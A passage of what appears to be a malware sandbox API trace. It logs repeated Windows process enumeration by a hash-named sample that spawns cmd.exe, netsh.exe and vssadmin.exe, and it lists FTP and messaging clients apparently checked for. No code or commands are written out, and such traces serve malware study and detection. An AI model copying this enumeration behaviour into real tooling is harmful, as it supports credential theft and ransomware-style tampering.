pcPriClassBase=8, dwFlags=0x0, szExeFile="livepresidentlight.exe")) returned 1 [0064.666] GetLastError () returned 0x12 [0064.666] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="remove patient teacher.exe")) returned 1 [0064.666] GetLastError () returned 0x12 [0064.667] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="certainlyknow.exe")) returned 1 [0064.667] GetLastError () returned 0x12 [0064.667] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0064.668] GetLastError () returned 0x12 [0064.668] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0064.669] GetLastError () returned 0x12 [0064.669] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0064.670] GetLastError () returned 0x12 [0064.670] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0064.671] GetLastError () returned 0x12 [0064.671] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0064.672] GetLastError () returned 0x12 [0064.672] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0064.673] GetLastError () returned 0x12 [0064.673] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe")) returned 1 [0064.673] GetLastError () returned 0x12 [0064.673] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.674] GetLastError () returned 0x12 [0064.674] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xec0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0064.735] GetLastError () returned 0x12 [0064.736] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.766] GetLastError () returned 0x12 [0064.766] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0064.767] GetLastError () returned 0x12 [0064.767] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf24, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0064.767] GetLastError () returned 0x12 [0064.768] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xf2c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0064.768] GetLastError () returned 0x12 [0064.768] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0064.769] GetLastError () returned 0x12 [0064.769] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0064.770] GetLastError () returned 0x12 [0064.770] Process32NextW (in: hSnapshot=0x1a4, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0064.771] CloseHandle (hObject=0x1a4) returned 1 [0064.771] Sleep (dwMilliseconds=0x1f4) [0066.710] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0066.714] Process32FirstW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.715] GetLastError () returned 0x12 [0066.715] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x56, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.716] GetLastError () returned 0x12 [0066.716] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.716] GetLastError () returned 0x12 [0066.716] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.717] GetLastError () returned 0x12 [0066.717] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x148, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.718] GetLastError () returned 0x12 [0066.718] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.719] GetLastError () returned 0x12 [0066.719] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.719] GetLastError () returned 0x12 [0066.719] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.720] GetLastError () returned 0x12 [0066.720] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.721] GetLastError () returned 0x12 [0066.721] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0066.722] GetLastError () returned 0x12 [0066.722] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.722] GetLastError () returned 0x12 [0066.722] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.723] GetLastError () returned 0x12 [0066.723] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.724] GetLastError () returned 0x12 [0066.724] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.725] GetLastError () returned 0x12 [0066.725] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.725] GetLastError () returned 0x12 [0066.725] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.726] GetLastError () returned 0x12 [0066.726] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.727] GetLastError () returned 0x12 [0066.727] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.728] GetLastError () returned 0x12 [0066.728] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.728] GetLastError () returned 0x12 [0066.728] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.729] GetLastError () returned 0x12 [0066.729] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.730] GetLastError () returned 0x12 [0066.730] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0066.730] GetLastError () returned 0x12 [0066.731] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0066.731] GetLastError () returned 0x12 [0066.731] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x70c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.732] GetLastError () returned 0x12 [0066.732] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.733] GetLastError () returned 0x12 [0066.733] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0066.733] GetLastError () returned 0x12 [0066.733] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.735] GetLastError () returned 0x12 [0066.735] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0066.735] GetLastError () returned 0x12 [0066.736] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0066.736] GetLastError () returned 0x12 [0066.736] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0066.737] GetLastError () returned 0x12 [0066.737] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x49c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0066.738] GetLastError () returned 0x12 [0066.738] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0066.738] GetLastError () returned 0x12 [0066.739] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="paper left.exe")) returned 1 [0066.739] GetLastError () returned 0x12 [0066.739] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="lead possible.exe")) returned 1 [0066.740] GetLastError () returned 0x12 [0066.740] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="store future.exe")) returned 1 [0066.741] GetLastError () returned 0x12 [0066.741] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient_coach_choose.exe")) returned 1 [0066.741] GetLastError () returned 0x12 [0066.742] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bank_he.exe")) returned 1 [0066.742] GetLastError () returned 0x12 [0066.742] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="such_human.exe")) returned 1 [0066.743] GetLastError () returned 0x12 [0066.743] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="employee.exe")) returned 1 [0066.744] GetLastError () returned 0x12 [0066.744] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="music.exe")) returned 1 [0066.744] GetLastError () returned 0x12 [0066.745] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="societybitofficial.exe")) returned 1 [0066.745] GetLastError () returned 0x12 [0066.745] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="position_star.exe")) returned 1 [0066.746] GetLastError () returned 0x12 [0066.746] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="itself-material.exe")) returned 1 [0066.747] GetLastError () returned 0x12 [0066.747] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="homenothingbook.exe")) returned 1 [0066.747] GetLastError () returned 0x12 [0066.747] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="mean.exe")) returned 1 [0066.748] GetLastError () returned 0x12 [0066.748] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="problem-public-use.exe")) returned 1 [0066.749] GetLastError () returned 0x12 [0066.749] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0066.871] GetLastError () returned 0x12 [0066.871] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0066.872] GetLastError () returned 0x12 [0066.872] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0066.873] GetLastError () returned 0x12 [0066.873] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0066.873] GetLastError () returned 0x12 [0066.874] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0066.874] GetLastError () returned 0x12 [0066.874] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.875] GetLastError () returned 0x12 [0066.875] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.876] GetLastError () returned 0x12 [0066.876] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.876] GetLastError () returned 0x12 [0066.877] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.877] GetLastError () returned 0x12 [0066.877] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.878] GetLastError () returned 0x12 [0066.878] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.879] GetLastError () returned 0x12 [0066.879] Process32NextW (in: hSnapshot=0x184, lppe=0x288f798 | out: lppe=0x288f798*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x760, pcPriClassBase=8, 